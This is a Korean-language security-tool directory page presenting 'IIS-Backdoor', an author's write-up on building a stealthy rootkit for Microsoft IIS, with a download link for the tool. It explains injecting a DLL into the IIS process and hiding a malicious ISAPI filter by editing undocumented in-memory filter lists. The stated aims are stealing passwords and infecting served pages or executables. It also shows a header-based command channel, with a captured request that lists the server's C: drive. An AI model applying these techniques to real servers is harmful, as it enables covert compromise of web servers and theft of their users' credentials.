Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
IIS-Backdoor | Kitploit
도구/GitHubGitHub/nu11secur1ty/iis-backdoor
Persistence MechanismsExploitationIDS/IPS EvasionInformation GatheringWeb SecurityCommand and ControlRed Teaming
GitHubnu11secur1ty/iis-backdoor

IIS-Backdoor

저장소 보기
34146년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

IIS-Backdoor

이 글에서는 Microsoft IIS(Internet Information Services)용 루트킷을 어떻게 설계했는지 설명하겠습니다. 질문은: 왜 웹 서버에 백도어를 심는가?

첫 번째로 떠오르는 명백하지만 쓸모없는 대답: 할 수 있으니까.

좋습니다. 더 영리한 대답을 해보죠. 웹 서버에 백도어를 심는 목적은 두 가지입니다.

root@kitploit:~
공격자가 클라이언트가 보낸 데이터에 접근할 수 있게 해줍니다. 예를 들어 웹 사이트가 비밀번호로 보호되는 경우, 이 비밀번호를 획득할 수 있습니다.
서버에서 웹 클라이언트로 전송되는 모든 것을 즉석에서 백도어할 수 있게 해줍니다.

두 번째 요점은 특히 흥미로운데, 공격자가 웹 페이지를 요청하는 웹 브라우저에 맞는 적절한 익스플로잇을 주입하거나, 서버에서 다운로드된 실행 파일을 감염시킬 수 있기 때문입니다. IIS 백도어

IIS란 무엇인가

IIS는 Microsoft의 웹 서버로, OWA와 같은 Microsoft 웹 기반 기술의 중요한 구성 요소입니다. 첫 번째 버전(IIS 1.0, Windows NT 3.51)부터 최신 버전(IIS 7.5, Windows Server 2008)까지 많은 버전이 출시되었습니다. 인터넷과 기업 인트라넷에 널리 배포되어 있습니다. IIS 확장

Microsoft는 개발자가 IIS에 기능을 추가할 수 있도록 ISAPI(Internet Server Application Programming Interface)로 알려진 API를 정의했습니다. IIS에는 확장(extension) 또는 필터(filter)의 두 가지 유형의 구성 요소를 추가할 수 있습니다. ISAPI 확장 프로그램

확장 프로그램은 3개의 함수를 내보내는 DLL입니다:

root@kitploit:~
GetExtensionVersion
HttpExtensionProc
TerminateExtension

확장 프로그램은 IIS 내부에서 실행되는 애플리케이션입니다. IIS가 필요할 때마다 로드됩니다. 확장 프로그램은 요청의 콘텐츠에 접근하고 클라이언트에 응답할 책임이 있습니다. 예를 들어 클라이언트가 http ://mydomain/myextension 페이지를 요청하고 myextension이 등록된 확장 프로그램이라면, 해당 확장 프로그램의 HttpExtensionProc이 호출됩니다. IIS는 확장 프로그램에 다음 구조체를 제공합니다.

root@kitploit:~
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
   DWORD cbSize;
   DWORD dwVersion;
   HCONN connID;
   DWORD dwHttpStatusCode;
   char lpszLogData[HSE_LOG_BUFFER_LEN];
   LPSTR lpszMethod;
   LPSTR lpszQueryString;
   LPSTR lpszPathInfo;
   LPSTR lpszPathTranslated;
   DWORD cbTotalBytes;
   DWORD cbAvailable;
   LPBYTE lpbData;
   LPSTR lpszContentType;
   BOOL (WINAPI * GetServerVariable) ();
   BOOL (WINAPI * WriteClient) ();
   BOOL (WINAPI * ReadClient) ();
   BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;

이렇게 하면 HttpExtensionProc은 콜백 함수 ReadClient와 WriteClient를 사용하여 요청에서 데이터를 읽고 처리한 후 응답을 다시 보낼 수 있습니다. ISAPI 필터

필터는 3개의 함수를 내보내는 DLL입니다:

root@kitploit:~
GetFilterVersion
HttpFilterProc
TerminateFilter

필터는 여러 이벤트에 등록되며, 요청의 수명 주기 동안 이벤트가 발생할 때마다 HttpFilterProc이 호출됩니다. 필터가 등록할 수 있는 이벤트의 불완전한 목록은 다음과 같습니다.

root@kitploit:~
SF_NOTIFY_PREPROC_HEADERS: IIS가 헤더 전처리를 마쳤을 때 발생합니다.
SF_NOTIFY_SEND_RESPONSE: IIS가 클라이언트에 응답을 보낼 준비가 되었을 때 발생합니다.
SF_NOTIFY_END_OF_REQUEST: 요청의 수명 주기가 종료되었을 때 발생합니다.
SF_NOTIFY_LOG: IIS가 현재 요청에 대한 로그를 기록하기 전에 발생합니다.

필터가 등록된 이벤트가 발생하면 필터의 HttpFilterProc이 호출되고, 이벤트 유형에 따라 구조체가 제공됩니다. 예를 들어 SF_NOTIFY_END_OF_REQUEST 이벤트인 경우 IIS는 필터에 다음 구조체를 전달합니다.

root@kitploit:~
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
   const char * pszClientHostName;
   const char * pszClientUserName;
   const char * pszServerName;
   const char * pszOperation;
   const char * pszTarget;
   const char * pszParameters;
   DWORD dwHttpStatus;
   DWORD dwWin32Status;
   DWORD dwBytesSent;
   DWORD dwBytesRecvd;
   DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;

이 구조체에는 필터가 들어오는 요청을 기록하는 데 필요한 모든 정보가 포함되어 있습니다. 확장과 필터 개요

다음 다이어그램은 클라이언트 요청이 필터와 확장에 도달하는 방식을 일반적으로 보여줍니다.

Schemaextfilts.png 숨겨진 필터

IIS 백도어를 구현하기 위해 확장 메커니즘 대신 IIS 필터 메커니즘을 사용하기로 결정했습니다. 주로 은닉성 때문입니다. 실제로 확장에 도달하려면 클라이언트는 http ://mydomain/myextension과 같은 URL에 요청을 수행해야 합니다. 그러면 내 확장이 서버 로그에 나타나게 됩니다. 필터를 사용하면 서버의 유효한 페이지를 호출하여 도달할 수 있으며, 이는 훨씬 더 정상적인 동작입니다.

IIS 구성 패널(IIS 구성 파일 내부)을 통해 필터를 등록하는 것이 가능하지만, 이는 전혀 은밀하지 않습니다. 나는 IIS 필터 연결 리스트에 필터를 수동으로 추가하기로 결정했습니다. 이를 위해 내 DLL을 IIS 프로세스에 주입하고, DLL이 IIS 프로세스 힙을 파싱하여 IIS 필터 목록에 스스로를 수동으로 등록합니다.

메모리에서 IIS 필터 목록을 유지하는 데 두 가지 구조체 유형이 사용됩니다. 첫 번째는 다음과 같습니다.

root@kitploit:~
typedef struct FILTER_LIST {
        unsigned int Magic; "FLIS"
        unsigned int unknown;
        unsigned int NumberOfFilters;
        PHTTP_FILTER_DLL * FilterPointerArray;
        unsigned int unknown2[10];
        unsigned int Flags1Sum;
        unsigned int * Flags1;
        unsigned int unknown3[10];
        unsigned int Flags2Sum;
        unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;

다음 멤버를 가지고 있습니다.

root@kitploit:~
Magic : 값이 "FLIS"인 매직 DWORD.
NumberOfFilters : 필터의 수.
FilterPointerArray : 필터 배열.
Flags1Sum : 모든 필터가 등록된 이벤트의 합(OR 논리 연산자 사용).
Flags1 : 각 필터가 등록된 플래그 배열.

각 필터는 자체 HTTP_FILTER_DLL 구조체를 가지며, 이는 다음과 같습니다.

root@kitploit:~
struct _HTTP_FILTER_DLL{
        unsigned int Magic ; "FDLL"
        PHTTP_FILTER_DLL pPrevious;
        PHTTP_FILTER_DLL pNext;
        void * ModuleBaseAddress;
        void * HttpFilterProc;
        void * GetFilterVersion;
        void * TerminateFilter;
        unsigned int unknown1;
        unsigned int AcceptFlags1;
        unsigned int AcceptFlags2;
        unsigned int unknown2;
        char * DllPath;
        unsigned intunknown3;
        unsigned intunknown4;
        char String[DLL_PATH_SIZE];
        unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
root@kitploit:~
Magic : 값이 "FDLL"인 매직 DWORD.
pPrevious, pNext : 목록에서 이전 및 다음 HTTP_FILTER_DLL 구조체를 가리키는 포인터.
ModuleBaseAddress: 필터 DLL의 기본 주소.
HttpFilterProc : 필터의 HttpFilterProc 함수 주소.
AcceptFlags1: 필터가 등록된 이벤트의 합(OR 논리 연산자 사용).

다음 다이어그램은 IIS 필터가 메모리에서 어떻게 구성되는지 보여줍니다.

SchemaListNoHidFilt.png

이 메모리 구성을 알면 메모리에 새로운 숨겨진 필터를 추가하는 것은 쉽습니다. 그러려면 힙에서 FILTER_LIST 인스턴스를 찾아야 합니다. 찾으면 HTTP_FILTER_DLL 목록에 새 HTTP_FILTER_DLL 구조체를 추가하고 FILTER_LIST 구조체의 필터 배열에 이에 대한 참조를 추가하기만 하면 됩니다.

SchemaListHidFilt.png 백도어 구현

백도어는 매우 간단한 원리로 작동합니다. 클라이언트는 명령(order)이 포함된 특수 헤더와 함께 요청을 보내고, 필터는 응답에 데이터를 추가하여 응답합니다. 필터는 SF_NOTIFY_PREPROC_HEADERS 및 SF_NOTIFY_SEND_RAW_DATA 이벤트에 등록됩니다. 들어오는 요청이 도착하면 필터는 요청에 X-ORDER 및/또는 X-DATA 헤더가 있는지 확인하고, 있다면 명령이 알려진 것일 때 이를 실행하고 응답합니다. 우리 필터는 서버의 모든 페이지에 대해 알림을 받기 때문에 서버의 아무 페이지나 요청하여 필터와 통신할 수 있습니다. 일반 요청에 특수 헤더를 추가하기만 하면 됩니다.

헤더를 추가하지 않고 단순한 페이지(여기서는 /pwet.htm)를 요청하면 IIS는 정상적인 동작을 합니다. 즉 IIS 응답은 다음과 같습니다.

root@kitploit:~
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0

<html>

Pouetpouet

</html>

하지만 같은 페이지를 요청하면서 명령을 추가하면(여기서 명령은 base64("C:")에 대한 "ListDir"입니다), 다음 결과가 나옵니다.

root@kitploit:~
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0

<html>

Pouetpouet

</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub

이처럼 IIS 웹 서버에 백도어를 심는 것은 그리 어렵지 않으며, 많은 기회를 제공할 수 있습니다...

도구 다운로드